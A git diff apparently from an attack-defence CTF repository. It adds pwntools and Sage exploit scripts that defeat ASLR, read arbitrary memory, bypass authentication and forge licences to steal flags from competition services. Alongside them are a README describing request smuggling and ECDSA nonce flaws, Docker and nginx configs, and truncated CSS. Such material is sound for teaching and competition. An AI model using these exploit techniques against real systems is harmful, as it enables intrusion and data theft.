a/exploits/service3-deaslr1-read1.py b/exploits/service3-deaslr1-read1.py new file mode 100755 index 0000000..df07256 --- /dev/null +++ b/exploits/service3-deaslr1-read1.py @@ -0,0 +1,13 @@ +#!/usr/bin/env python3 + +from service3_common import connect, deaslr1, arbitrary_read1 + + +def exploit(): + io = connect() + addx = deaslr1(io) + arbitrary_read1(io, addx) + + +if __name__ == "__main__": + exploit() diff --git a/exploits/service3-deaslr1-read2.py b/exploits/service3-deaslr1-read2.py new file mode 100755 index 0000000..c445efd --- /dev/null +++ b/exploits/service3-deaslr1-read2.py @@ -0,0 +1,13 @@ +#!/usr/bin/env python3 + +from service3_common import connect, deaslr1, arbitrary_read2 + + +def exploit(): + io = connect() + addx = deaslr1(io) + arbitrary_read2(io, addx, 230, 975) + + +if __name__ == "__main__": + exploit() diff --git a/exploits/service3-deaslr2-read1.py b/exploits/service3-deaslr2-read1.py new file mode 100755 index 0000000..a3733f3 --- /dev/null +++ b/exploits/service3-deaslr2-read1.py @@ -0,0 +1,13 @@ +#!/usr/bin/env python3 + +from service3_common import connect, deaslr2, arbitrary_read1 + + +def exploit(): + io = connect() + addx = deaslr2(io) + arbitrary_read1(io, addx) + + +if __name__ == "__main__": + exploit() diff --git a/exploits/service3-deaslr2-read2.py b/exploits/service3-deaslr2-read2.py new file mode 100755 index 0000000..c8f1730 --- /dev/null +++ b/exploits/service3-deaslr2-read2.py @@ -0,0 +1,13 @@ +#!/usr/bin/env python3 + +from service3_common import connect, deaslr2, arbitrary_read2 + + +def exploit(): + io = connect() + addx = deaslr2(io) + arbitrary_read2(io, addx, 12, 760) + + +if __name__ == "__main__": + exploit() diff --git a/exploits/service3-debug-mode-1.py b/exploits/service3-debug-mode-1.py new file mode 100755 index 0000000..6220296 --- /dev/null +++ b/exploits/service3-debug-mode-1.py @@ -0,0 +1,19 @@ +#!/usr/bin/env python3 + +from service3_common import connect, extract_flags + + +def exploit(): + io = connect() + io.sendline(r'"\\\\\\\\\\\\\\\\P"'.encode()) + io.recvuntil(b"Ready") + io.sendline(b"Vars") + s = io.recvuntil(b"Ready") + if b"This command is only available in debug." in s: + print("Exploit failed.") + else: + extract_flags(s, True) + + +if __name__ == "__main__": + exploit() diff --git a/exploits/service3-debug-mode-2.py b/exploits/service3-debug-mode-2.py new file mode 100755 index 0000000..110f632 --- /dev/null +++ b/exploits/service3-debug-mode-2.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python3 + +from service3_common import connect, extract_flags + + +def exploit(): + io = connect() + io.sendline(b"Oct") + io.recvuntil(b"Ready") + for _ in range(10): + io.sendline(b"Next_base") + io.recvuntil(b"Ready") + io.sendline(b"Vars") + s = io.recvuntil(b"Ready") + if b"This command is only available in debug." in s: + print("Exploit failed.") + else: + extract_flags(s, True) + + +if __name__ == "__main__": + exploit() diff --git a/exploits/service3-leak-1.py b/exploits/service3-leak-1.py new file mode 100755 index 0000000..2635fc1 --- /dev/null +++ b/exploits/service3-leak-1.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python3 + +import re +from service3_common import connect, extract_flags + + +def exploit(): + io = connect() + io.sendline( + b"000000000000000000000000000000000000000000000000000000000000000z") + s = io.recvuntil(b"Ready").decode('latin1') + flag_names = re.findall("f[a-fA-F0-9]{30}[12]", s) + s = b"" + for name in flag_names: + io.sendline(name.encode()) + io.recvuntil(b"Ready") + io.sendline(b"GET_VAR") + s += io.recvuntil(b"Ready") + io.sendline(b"Clear") + io.recvuntil(b"Ready") + extract_flags(s, True) + + +if __name__ == "__main__": + exploit() diff --git a/exploits/service3-leak-2.py b/exploits/service3-leak-2.py new file mode 100755 index 0000000..bebcb10 --- /dev/null +++ b/exploits/service3-leak-2.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python3 + +from service3_common import connect, extract_flags + + +def exploit(): + io = connect() + s = b"" + for i in range(-4, -69, -1): + io.sendline(f"Pick {i}".encode()) + s += io.recvuntil(b"Ready") + # io.sendline(b'Clear') + # io.recvuntil(b'Ready') + extract_flags(s, True) + + +if __name__ == "__main__": + exploit() diff --git a/exploits/service3-leak-3.py b/exploits/service3-leak-3.py new file mode 100755 index 0000000..ca0669d --- /dev/null +++ b/exploits/service3-leak-3.py @@ -0,0 +1,19 @@ +#!/usr/bin/env python3 + +from service3_common import connect, extract_flags + + +def exploit(): + io = connect() + s = b"" + io.sendline(b"pippero") + io.sendline(b"pippero") + io.recvuntil(b"Ready") + for i in range(-4, -69, -1): + io.sendline(f"Swap {i}".encode()) + s += io.recvuntil(b"Ready") + extract_flags(s, True) + + +if __name__ == "__main__": + exploit() diff --git a/exploits/service3-leak-4.py b/exploits/service3-leak-4.py new file mode 100755 index 0000000..6b8e342 --- /dev/null +++ b/exploits/service3-leak-4.py @@ -0,0 +1,21 @@ +#!/usr/bin/env python3 + +from service3_common import connect, extract_flags + + +def exploit(): + io = connect() + for _ in range(100): + io.sendline(b"foobar") + io.recvuntil(b"Ready") + s = b"" + for i in range(18, 18+64): + io.sendline(f"Pick {i}".encode()) + s += io.recvuntil(b"Ready") + # io.sendline(b'Clear') + # io.recvuntil(b'Ready') + extract_flags(s, True) + + +if __name__ == "__main__": + exploit() diff --git a/exploits/service3-leak-5.py b/exploits/service3-leak-5.py new file mode 100755 index 0000000..e818e20 --- /dev/null +++ b/exploits/service3-leak-5.py @@ -0,0 +1,16 @@ +#!/usr/bin/env python3 + +from service3_common import connect, extract_flags + + +def exploit(): + io = connect() + io.sendline(str(2**63).encode()) + io.recvuntil(b"Ready") + io.sendline(b"Time_to_str") + s = io.recvuntil(b"Ready") + extract_flags(s, True) + + +if __name__ == "__main__": + exploit() diff --git a/exploits/service3_common.py b/exploits/service3_common.py new file mode 100755 index 0000000..17a3c50 --- /dev/null +++ b/exploits/service3_common.py @@ -0,0 +1,91 @@ +#!/usr/bin/env python3 + +import pwn +import os +import sys +import re + +pwn.context.timeout = 1 +# pwn.context.log_level = logging.WARNING + +if "LOCALHOST_RULEZ" in os.environ: + ip = "127.0.0.1" + port = 1337 +else: + team_id = sys.argv[1] + ip = f"10.60.{team_id}.1" + port = 1337 + + +def connect(): + io = pwn.remote(ip, port) + io.recvuntil( + b"_______ ______ ____ ____ _____ | | ____ __ __ | | _____ _/ |_ ____ _______ \n" + ) + io.recvuntil(b"The value stack is empty") + io.recvuntil(b"Ready") + return io + + +def extract_flags(s, print_flags=False): + l = sorted(set(re.findall("[A-Z0-9]{31}=", s.decode("latin1")))) + if print_flags: + print(f"Found {len(l)} flags") + print("\n".join(l)) + return l + + +def deaslr1(io): + io.sendline(b"Random") + io.recvuntil(b";35m") + addx = (int(io.recvuntil(b"\x1b", drop=True)) ^ 1804289383) << 12 + io.recvuntil(b"Ready") + return addx + + +def deaslr2(io): + io.sendline(b"0x0ddba11") + io.recvuntil(b";35m") + addx = int(io.recvuntil(b"\x1b", drop=True)) - 2800 + io.recvuntil(b"Ready") + return addx + + +def arbitrary_read1(io, addx): + all_s = b"" + try: + io.sendline(b"8192") + io.recvuntil(b"Ready") + io.sendline(str(addx).encode()) + io.recvuntil(b"Ready") + io.sendline(b"[todo]Hxd") + while True: + s = io.recvline().decode("latin1") + if "Ready" in s: + break + hx = "".join( + l.replace(" ", "") for l in re.findall(r"(?:[a-f0-9]{2} ){8}", s) + ) + all_s += pwn.unhex(hx) + except Exception as e: + pass + extract_flags(all_s, True) + + +def arbitrary_read2(io, addx, start, end): + s = b"" + for i in range(start, end): + try: + io.sendline(b"Clear") + io.recvuntil(b"Ready") + io.sendline(str(addx + i * 8).encode()) + io.recvuntil(b"Ready") + io.sendline(b"Peek") + io.recvuntil(b";35m") + s += pwn.p64(int(io.recvuntil(b"\x1b", drop=True)) % 2**64) + io.recvuntil(b"Ready") + except Exception: + break + extract_flags(s, True) + + sys.exit() diff --git a/exploits/service4-store1-vuln1-auth-bypass.py b/exploits/service4-store1-vuln1-auth-bypass.py new file mode 100755 index 0000000..9c62c0d --- /dev/null +++ b/exploits/service4-store1-vuln1-auth-bypass.py @@ -0,0 +1,17 @@ +#!/usr/bin/env python3 + +import requests +import sys + + +def exploit(ip, flag_id): + r = requests.post( + f'http://{ip}:5000/api/products/{flag_id}/download?a=/api/register', timeout=10) + return r.text + + +if __name__ == "__main__": + team_id = sys.argv[1] + flag_id = sys.argv[2] + ip = f"10.60.{team_id}.1" + print(exploit(ip, flag_id)) diff --git a/exploits/service4-store1-vuln2-roots.sage b/exploits/service4-store1-vuln2-roots.sage new file mode 100644 index 0000000..75f09be --- /dev/null +++ b/exploits/service4-store1-vuln2-roots.sage @@ -0,0 +1,60 @@ +#!/bin/env python3 +import base64 +import random +import requests +import string +import sys + + +def random_string(min, max): + letters = string.ascii_letters + string.digits + return ''.join(random.choice(letters) for i in range(random.randint(min, max))) + + +def num_to_list(x): + if x < 26: + return [x] + return [x % 26] + num_to_list(x//26) + + +def license_to_string(x): + alph = string.ascii_uppercase + lic = ''.join([alph[i] for i in num_to_list(x)]) + while len(lic) % 7 != 0: + lic += "A" + return '-'.join([lic[i:i+7] for i in range(0, len(lic), 7)]) + + +def exploit(ip, flag_id): + username = random_string(16, 24) + password = random_string(12, 24) + r = requests.post(f'http://{ip}:5000/api/register', + data={'username': username, 'password': password}, timeout=5) + sessionData = r.json() + token = 'Bearer ' + \ + base64.b64encode( + (str(sessionData['user_id'])+':'+sessionData['session']).encode()).decode() + r = requests.get(f'http://{ip}:5000/api/products/{flag_id}', + headers={'Authorization': token}, timeout=5) + + product_data = r.json() + mod = int(product_data["license"]["mod"]) + poly = [int(x) for x in product_data["license"]["poly"]] + F = GF(mod) + R. = PolynomialRing(F) + p = R(poly) + roots = p.roots() + # print(roots) + crafted_license = license_to_string(int(roots[-1][0])) + # print(crafted_license) + + r = requests.post(f'http://{ip}:5000/api/products/{flag_id}/download', data={ + 'license': crafted_license}, headers={'Authorization': token}, timeout=10) + return r.text + + +if __name__ == "__main__": + team_id = sys.argv[1] + flag_id = sys.argv[2] + ip = f"10.60.{team_id}.1" + print(exploit(ip, flag_id)) diff --git a/exploits/service4-store1-vuln3-small-roots.sage b/exploits/service4-store1-vuln3-small-roots.sage new file mode 100644 index 0000000..724358f --- /dev/null +++ b/exploits/service4-store1-vuln3-small-roots.sage @@ -0,0 +1,68 @@ +#!/bin/env python3 +import base64 +import random +import requests +import string +import sys + +# from sage.misc.verbose import set_verbose +# set_verbose(2) + + +def random_string(min, max): + letters = string.ascii_letters + string.digits + return ''.join(random.choice(letters) for i in range(random.randint(min, max))) + + +def num_to_list(x): + if x < 26: + return [x] + return [x % 26] + num_to_list(x//26) + + +def license_to_string(x): + alph = string.ascii_uppercase + lic = ''.join([alph[i] for i in num_to_list(x)]) + while len(lic) % 7 != 0: + lic += "A" + return '-'.join([lic[i:i+7] for i in range(0, len(lic), 7)]) + + +def exploit(ip, flag_id): + username = random_string(16, 24) + password = random_string(12, 24) + r = requests.post(f'http://{ip}:5000/api/register', + data={'username': username, 'password': password}, timeout=5) + sessionData = r.json() + token = 'Bearer ' + \ + base64.b64encode( + (str(sessionData['user_id'])+':'+sessionData['session']).encode()).decode() + r = requests.get(f'http://{ip}:5000/api/products/{flag_id}', + headers={'Authorization': token}, timeout=5) + + # print(r) + product_data = r.json() + mod = int(product_data["license"]["mod"]) + poly = [int(x) for x in product_data["license"]["poly"]] + if poly[0] == 0: + poly = poly[1:] + F = GF(mod) + R. = PolynomialRing(F, implementation = "NTL") + p = R(poly) + eps = float(1/(len(poly)-1) - log(2^129, mod)) + # print(eps) + roots = p.small_roots(X = 2^128, beta = 1.0, epsilon = eps) + # print(roots) + crafted_license = license_to_string(int(roots[-1])) + # print(crafted_license) + + r = requests.post(f'http://{ip}:5000/api/products/{flag_id}/download', data={ + 'license': crafted_license}, headers={'Authorization': token}, timeout=10) + return r.text + + +if __name__ == "__main__": + team_id = sys.argv[1] + flag_id = sys.argv[2] + ip = f"10.60.{team_id}.1" + print(exploit(ip, flag_id)) diff --git a/exploits/service4-store1-vuln4-zero-poly.py b/exploits/service4-store1-vuln4-zero-poly.py new file mode 100755 index 0000000..583c9b2 --- /dev/null +++ b/exploits/service4-store1-vuln4-zero-poly.py @@ -0,0 +1,35 @@ +#!/usr/bin/env python3 + +import base64 +import random +import requests +import string +import sys + + +def random_string(min, max): + letters = string.ascii_letters + string.digits + return ''.join(random.choice(letters) for i in range(random.randint(min, max))) + + +def exploit(ip, flag_id): + username = random_string(16, 24) + password = random_string(12, 24) + + r = requests.post(f'http://{ip}:5000/api/register', + data={'username': username, 'password': password}, timeout=5) + sessionData = r.json() + token = 'Bearer ' + \ + base64.b64encode( + (str(sessionData['user_id'])+':'+sessionData['session']).encode()).decode() + + r = requests.post(f'http://{ip}:5000/api/products/{flag_id}/download', data={ + 'license': 'AAAAAAA-AAAAAAA-AAAAAAA-AAAAAAA'}, headers={'Authorization': token}, timeout=10) + return r.text + + +if __name__ == "__main__": + team_id = sys.argv[1] + flag_id = sys.argv[2] + ip = f"10.60.{team_id}.1" + print(exploit(ip, flag_id)) diff --git a/img/closedea.png b/img/closedea.png new file mode 100644 index 0000000..5dd26d5 Binary files /dev/null and b/img/closedea.png differ diff --git a/img/cybersecnatlab-logo.png b/img/cybersecnatlab-logo.png new file mode 100644 index 0000000..9671e74 Binary files /dev/null and b/img/cybersecnatlab-logo.png differ diff --git a/img/cyberuni.png b/img/cyberuni.png new file mode 100644 index 0000000..ebc3e8d Binary files /dev/null and b/img/cyberuni.png differ diff --git a/img/icc-logo.png b/img/icc-logo.png new file mode 100644 index 0000000..4053363 Binary files /dev/null and b/img/icc-logo.png differ diff --git a/img/network.svg b/img/network.svg new file mode 100644 index 0000000..a5a8538 --- /dev/null +++ b/img/network.svg @@ -0,0 +1,144 @@ +
Team 1
Team 1
Main Router
Main Router
VM1
VM1
VM2
VM2
VMN
VMN
10.60.1.1
10.60....
10.60.2.1
10.60.2...
10.60.N.1
10.60....
10.80.1.0/24
10.80.1.0/24
SNAT AND TTL RESET ON MAIN ROUTER!
The source of all the traffic is rewritten to 10.254.0.1 regardless of the original source
SNAT AND TTL RESET ON MAIN ROUTER!...
Game Management System
Game Management System
Local Players
Local Players
Team 2
Team 2
PC1
PC1
10.80.2.0/24
10.80.2.0/24
PCK
PCK
Team N
Team N
PC1
PC1
10.80.N.0/24
10.80.N.0/24
PCK
PCK
......
......
10.10.0.1
10.10.0.1
......
......
PCK
PCK
PC1
PC1
...
...
...
...
...
...
10.254.0.1
10.254.0.1
NOP
Team
NOP...
10.60.0.1
10.60....
Internet
Intern...
Text is not SVG - cannot display
\ No newline at end of file diff --git a/img/rpn.png b/img/rpn.png new file mode 100644 index 0000000..ef7ac42 Binary files /dev/null and b/img/rpn.png differ diff --git a/img/scoreboard.png b/img/scoreboard.png new file mode 100644 index 0000000..58d20ee Binary files /dev/null and b/img/scoreboard.png differ diff --git a/img/trademark.png b/img/trademark.png new file mode 100644 index 0000000..a443b69 Binary files /dev/null and b/img/trademark.png differ diff --git a/services/service1/README.md b/services/service1/README.md new file mode 100644 index 0000000..6f458aa --- /dev/null +++ b/services/service1/README.md @@ -0,0 +1,74 @@ +# ClosedSea + +| Service 1 | ClosedSea | +| :------------ | :------------------------------------------------------------------ | +| Author(s) | @RiccardoBonafede @drago-96 | +| Store(s) | 2 | +| Category(ies) | web / crypto | +| Port(s) | 300{3,4} | +| FlagId(s) | NFT Id (store1) / NFT Id (store2) | +| Checker(s) | [store1](/checkers/0/checker.py) / [store2](/checkers/1/checker.py) | + +![](../../img/closedea.png) + +## Description + +ClosedSea is a platform for NFT trading. Flags are stored in the secret data of an NFT, which will only be revealed to the owner. + +There are two "chains" in which the NFTs live: a public one, and a private one; there are also two type of coins: $SC (Sea Coins) for the public one, and $PC (Privacy Coins) for the private one. + +In the public chain, all users can list and buy available NFTs; in the private chain NFTs are not listed and cannot be bought, but only donated. + +Users can also mint their own NFTs, setting the desired price, privacy and secret data. + +### Architecture + +The web-facing application is ClosedSea, which manages user registration and login, and provides a frontend for viewing and buying NFTs, as well as displaying live transactions. + +Most of the logic of doing operations on NFTs (buy, donate, mint, switch chain) is handled in the `transactions` component, which is an Express webserver. It provides APIs for the actions, and directly writes to the database; it is also a WebSocket server for broadcasting live transactions. + +Finally, there is a `minter` component written in PHP, which is a frontend for minting new NFTs. + +### Cryptography + +All transactions (buy and donate) are digitally signed with ECDSA on the secp256k1 curve. In the registration form a user can generate a keypair, store the private key in the browser and send the public key to the server. + +Signatures will be made client side while buying on OpenSea, and will be verified on the `transactions` host. + +## Vulnerabilities + +### Store 1: private NFTs + +The service is vulnerable to an [HTTP request smuggling attacks](https://portswigger.net/web-security/request-smuggling), this can be used as a base to exploit several vulnerabilities in the service. + +#### Vuln 1: switch chains + +The "switch chain" operation is not signed, so we can smuggle a request for arbitrary NFTs and buy them legally once they are public. + +#### Vuln 2: buy private NFTs + +The check that private NFTs cannot be bought is only made on OpenSea. So we can smuggle a request to buy a private NFT with our own money. + +### Store 2: public NFTs + +#### Vuln 1: negative price + +The minter allows negative prices for the NFTs; in this way when buying a negative price NFT we can get almost infinite money and legally buy the flag. + +#### Vuln 2: key recovery + +The JS code that signs a transaction badly generates the ECDSA nonce, thus the private key of an account can be recovered just from a single signature. Once we have the private key of the owner of the NFT, we can use it to sign a donation for that NFT. + +#### Vuln 3: arbitrary donation + +The `transactions` component doesn't check if the signature has been made with the NFT owner's keys; so it is possible to send a donate transaction with any valid signature from the keypair of a new user. + +## Exploits + +| service | store | exploit | +| :-------- | :---: | :------------------------------------------------------------------------------------------- | +| ClosedSea | 1 | [service1-store1-vuln1-h2csmuggling.py](/exploits/service1-store1-vuln1-h2csmuggling.py) | +| ClosedSea | 1 | [service1-store1-vuln2-switch-by-mint.py](/exploits/service1-store1-vuln2-switch-by-mint.py) | +| ClosedSea | 2 | [service1-store2-vuln1-negativeprice.py](/exploits/service1-store2-vuln1-negativeprice.py) | +| ClosedSea | 2 | [service1-store2-vuln2-keyrecovery.py](/exploits/service1-store2-vuln2-keyrecovery.py) | +| ClosedSea | 2 | [service1-store2-vuln3-donateall.py](/exploits/service1-store2-vuln3-donateall.py) | diff --git a/services/service1/service/blockchain/data/.gitkeep b/services/service1/service/blockchain/data/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/services/service1/service/blockchain/init/genesis.sql b/services/service1/service/blockchain/init/genesis.sql new file mode 100644 index 0000000..f252532 --- /dev/null +++ b/services/service1/service/blockchain/init/genesis.sql @@ -0,0 +1,43 @@ +-- Create a couple of users +CREATE DATABASE blockchain; + +USE blockchain; +CREATE TABLE users ( + id VARCHAR(36) PRIMARY KEY, + username VARCHAR(30) NOT NULL UNIQUE, + password VARCHAR(150) NOT NULL, + public_key VARCHAR(150) NOT NULL, + money1 INT NOT NULL DEFAULT 60, + money2 INT NOT NULL DEFAULT 20 +); + +CREATE TABLE nfts( + nft_id VARCHAR(36) PRIMARY KEY, + owner VARCHAR(36) NOT NULL, + title varchar(50), + price INT, -- if zero, the NFT is a copy or unlisted + data TEXT, + nft_created TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + FOREIGN KEY (owner) REFERENCES users(id) +); + + +CREATE TABLE nft_chain( + nft_id VARCHAR(36), + chain_number BOOLEAN, -- 0 is private, 1 is public + PRIMARY KEY(nft_id, chain_number), + FOREIGN KEY (nft_id) REFERENCES nfts(nft_id) +); + + +CREATE TABLE transactions( + tx_id VARCHAR(36) PRIMARY KEY, + from_user VARCHAR(36) NOT NULL, + to_user VARCHAR(36) NOT NULL, + nft_id VARCHAR(36) NOT NULL, + type VARCHAR(10) NOT NULL, + signature TEXT NOT NULL, + time_executed TIMESTAMP DEFAULT CURRENT_TIMESTAMP, + FOREIGN KEY (from_user) REFERENCES users(id), + FOREIGN KEY (to_user) REFERENCES users(id) +); diff --git a/services/service1/service/closedsea/Dockerfile b/services/service1/service/closedsea/Dockerfile new file mode 100644 index 0000000..a4c7fdb --- /dev/null +++ b/services/service1/service/closedsea/Dockerfile @@ -0,0 +1,22 @@ +# these two are in common for all the chalenges. +# We need to install some packets in order to "simplify" some challenges +FROM python:3.10 +RUN apt-get update \ + && apt-get upgrade -y + +# common for python3 challenges +RUN useradd -ms /bin/null web && DEBIAN_FRONTEND="noninteractive" apt-get install -y nginx supervisor default-mysql-client + +COPY requirements.txt /srv/app/ +RUN pip3 install --no-cache-dir -r /srv/app/requirements.txt + +COPY config/nginx.conf /etc/nginx/nginx.conf +COPY config/supervisord.conf /etc/supervisor/conf.d/supervisord.conf +COPY src /srv/app/ +COPY config/uwsgi.ini /srv/app/ + +ENV UWSGI_INI /srv/app/uwsgi.ini + +WORKDIR /srv/app/ + +EXPOSE 80 \ No newline at end of file diff --git a/services/service1/service/closedsea/config/nginx.conf b/services/service1/service/closedsea/config/nginx.conf new file mode 100644 index 0000000..cec4a2e --- /dev/null +++ b/services/service1/service/closedsea/config/nginx.conf @@ -0,0 +1,53 @@ +worker_processes 4; ## Default: 1 +pid /var/run/nginx.pid; + +user web web; +worker_rlimit_nofile 8192; + + +events { + worker_connections 4096; ## Default: 1024 +} + + +http { + server { + listen 80; + server_name sqlinj_tut www.sqlinj_tut; + + if ($http_user_agent ~* "sql") { + rewrite ^/(.*)$ https://www.youtube.com/watch?v=dQw4w9WgXcQ permanent; + } + if ($http_user_agent ~* "dirb") { + rewrite ^/(.*)$ https://www.youtube.com/watch?v=dQw4w9WgXcQ permanent; + } + + location / { + include uwsgi_params; + + #keepalive_timeout 0s; + uwsgi_pass unix:///tmp/uwsgi.sock; + + } + + location /socket.io { + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header Host $host; + + proxy_pass http://transactions:8085/socket.io; + + proxy_http_version 1.1; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection $http_connection; + } + + location /static/ { + include /etc/nginx/mime.types; + expires 45s; + access_log off; + add_header Cache-Control "public"; + root /srv/app/; + } + + } +} diff --git a/services/service1/service/closedsea/config/supervisord.conf b/services/service1/service/closedsea/config/supervisord.conf new file mode 100644 index 0000000..21ae33a --- /dev/null +++ b/services/service1/service/closedsea/config/supervisord.conf @@ -0,0 +1,18 @@ +[supervisord] +nodaemon=true + +[program:uwsgi] +command=/usr/local/bin/uwsgi +stdout_logfile=/dev/stdout +stdout_logfile_maxbytes=0 +stderr_logfile=/dev/stderr +stderr_logfile_maxbytes=0 + +[program:nginx] +command=/usr/sbin/nginx -g "daemon off;" +stdout_logfile=/dev/stdout +stdout_logfile_maxbytes=0 +stderr_logfile=/dev/stderr +stderr_logfile_maxbytes=0 +# Graceful stop, see http://nginx.org/en/docs/control.html +stopsignal=QUIT \ No newline at end of file diff --git a/services/service1/service/closedsea/config/uwsgi.ini b/services/service1/service/closedsea/config/uwsgi.ini new file mode 100644 index 0000000..81c2785 --- /dev/null +++ b/services/service1/service/closedsea/config/uwsgi.ini @@ -0,0 +1,21 @@ +[uwsgi] +strict = true +master = true +need-app = true +module = app:app +uid=web +gid=web + +enable-threads = true +http-keepalive= 0 + +workers = 4 +threads = 2 + +auto-procname = true + +socket = /tmp/uwsgi.sock +chmod-socket = 660 + +vacuum = true + diff --git a/services/service1/service/closedsea/requirements.txt b/services/service1/service/closedsea/requirements.txt new file mode 100644 index 0000000..b207084 --- /dev/null +++ b/services/service1/service/closedsea/requirements.txt @@ -0,0 +1,16 @@ +certifi==2022.5.18.1 +charset-normalizer==2.0.12 +click==8.1.3 +Flask==2.1.2 +Flask-MySQL==1.5.2 +Flask-MySQLdb==1.0.1 +idna==3.3 +itsdangerous==2.1.2 +Jinja2==3.1.2 +MarkupSafe==2.1.1 +mysqlclient==2.1.0 +PyMySQL==1.0.2 +requests==2.27.1 +urllib3==1.26.9 +uWSGI==2.0.20 +Werkzeug==2.1.2 \ No newline at end of file diff --git a/services/service1/service/closedsea/src/__init__.py b/services/service1/service/closedsea/src/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/services/service1/service/closedsea/src/app.py b/services/service1/service/closedsea/src/app.py new file mode 100644 index 0000000..1ea061e --- /dev/null +++ b/services/service1/service/closedsea/src/app.py @@ -0,0 +1,24 @@ +from flask import Flask, g +from views.frontend import frontend +from views.api import api +from flask_mysqldb import MySQL +import os + + +app = Flask(__name__) +app.config['SECRET_KEY'] = os.environ.get('SECRET', os.urandom(16)) +app.config['TRANSACTION_BASE'] = os.environ.get('TRANSACTION_ENDPOINT', 'http://transactions:8085') +app.config['MYSQL_HOST'] = os.environ.get('DBHOST', 'blockchain') +app.config['MYSQL_USER'] = os.environ.get('DBUSER', 'root') +app.config['MYSQL_PASSWORD'] = os.environ.get('DBPASS', '') +app.config['MYSQL_DB'] = os.environ.get('DBSCHEMA', 'blockchain') + + +mysql = MySQL(app) + +@app.before_request +def add_mysql(): + g.mysql = mysql.connection.cursor() + +app.register_blueprint(frontend) +app.register_blueprint(api) diff --git a/services/service1/service/closedsea/src/static/all.min.css b/services/service1/service/closedsea/src/static/all.min.css new file mode 100644 index 0000000..9b2ac09 --- /dev/null +++ b/services/service1/service/closedsea/src/static/all.min.css @@ -0,0 +1,6 @@ +/*! + * Font Awesome Free 6.1.1 by @fontawesome - https://fontawesome.com + * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) + * Copyright 2022 Fonticons, Inc. + */ +.fa{font-family:var(--fa-style-family,"Font Awesome 6 Free");font-weight:var(--fa-style,900)}.fa,.fa-brands,.fa-duotone,.fa-light,.fa-regular,.fa-solid,.fa-thin,.fab,.fad,.fal,.far,.fas,.fat{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:var(--fa-display,inline-block);font-style:normal;font-variant:normal;line-height:1;text-rendering:auto}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-2xs{font-size:.625em;line-height:.1em;vertical-align:.225em}.fa-xs{font-size:.75em;line-height:.08333em;vertical-align:.125em}.fa-sm{font-size:.875em;line-height:.07143em;vertical-align:.05357em}.fa-lg{font-size:1.25em;line-height:.05em;vertical-align:-.075em}.fa-xl{font-size:1.5em;line-height:.04167em;vertical-align:-.125em}.fa-2xl{font-size:2em;line-height:.03125em;vertical-align:-.1875em}.fa-fw{text-align:center;width:1.25em}.fa-ul{list-style-type:none;margin-left:var(--fa-li-margin,2.5em);padding-left:0}.fa-ul>li{position:relative}.fa-li{left:calc(var(--fa-li-width, 2em)*-1);position:absolute;text-align:center;width:var(--fa-li-width,2em);line-height:inherit}.fa-border{border-radius:var(--fa-border-radius,.1em);border:var(--fa-border-width,.08em) var(--fa-border-style,solid) var(--fa-border-color,#eee);padding:var(--fa-border-padding,.2em .25em .15em)}.fa-pull-left{float:left;margin-right:var(--fa-pull-margin,.3em)}.fa-pull-right{float:right;margin-left:var(--fa-pull-margin,.3em)}.fa-beat{-webkit-animation-name:fa-beat;animation-name:fa-beat;-webkit-animation-delay:var(--fa-animation-delay,0);animation-delay:var(--fa-animation-delay,0);-webkit-animation-direction:var(--fa-animation-direction,normal);animation-direction:var(--fa-animation-direction,normal);-webkit-animation-duration:var(--fa-animation-duration,1s);animation-duration:var(--fa-animation-duration,1s);-webkit-animation-iteration-count:var(--fa-animation-iteration-count,infinite);animation-iteration-count:var(--fa-animation-iteration-count,infinite);-webkit-animation-timing-function:var(--fa-animation-timing,ease-in-out);animation-timing-function:var(--fa-animation-timing,ease-in-out)}.fa-bounce{-webkit-animation-name:fa-bounce;animation-name:fa-bounce;-webkit-animation-delay:var(--fa-animation-delay,0);animation-delay:var(--fa-animation-delay,0);-webkit-animation-direction:var(--fa-animation-direction,normal);animation-direction:var(--fa-animation-direction,normal);-webkit-animation-duration:var(--fa-animation-duration,1s);animation-duration:var(--fa-animation-duration,1s);-webkit-animation-iteration-count:var(--fa-animation-iteration-count,infinite);animation-iteration-count:var(--fa-animation-iteration-count,infinite);-webkit-animation-timing-function:var(--fa-animation-timing,cubic-bezier(.28,.84,.42,1));animation-timing-function:var(--fa-animation-timing,cubic-bezier(.28,.84,.42,1))}.fa-fade{-webkit-animation-name:fa-fade;animation-name:fa-fade;-webkit-animation-iteration-count:var(--fa-animation-iteration-count,infinite);animation-iteration-count:var(--fa-animation-iteration-count,infinite);-webkit-animation-timing-function:var(--fa-animation-timing,cubic-bezier(.4,0,.6,1));animation-timing-function:var(--fa-animation-timing,cubic-bezier(.4,0,.6,1))}.fa-beat-fade,.fa-fade{-webkit-animation-delay:var(--fa-animation-delay,0);animation-delay:var(--fa-animation-delay,0);-webkit-animation-direction:var(--fa-animation-direction,normal);animation-direction:var(--fa-animation-direction,normal);-webkit-animation-duration:var(--fa-animation-duration,1s);animation-duration:var(--fa-animation-duration,1s)}.fa-beat-fade{-webkit-animation-name:fa-beat-fade;animation-name:fa-beat-fade;-webkit-animation-iteration-count:var(--fa-animation-iteration-count,infinite);animation-iteration-count:var(--fa-animation-iteration-count,infinite);-webkit-animation-timing-function:var(--fa-animation-timing,cubic-bezier(.4,0,.6,1));animation-timing-function:var(--fa-animation-timing,cubic-bezier(.4,0,.6,1))}.fa-flip{-webkit-animation-name:fa-flip;animation-name:fa-flip;-webkit-animation-delay:var(--fa-animation-delay,0);animation-delay:var(--fa-animation-delay,0);-webkit-animation-direction:var(--fa-animation-direction,normal);animation-direction:var(--fa-animation-direction,normal);-webkit-animation-duration:var(--fa-animation-duration,1s);animation-duration:var(--fa-animation-duration,1s);-webkit-animation-iteration-count:var(--fa-animation-iteration-count,infinite);animation-iteration-count:var(--fa-animation-iteration-count,infinite);-webkit-ani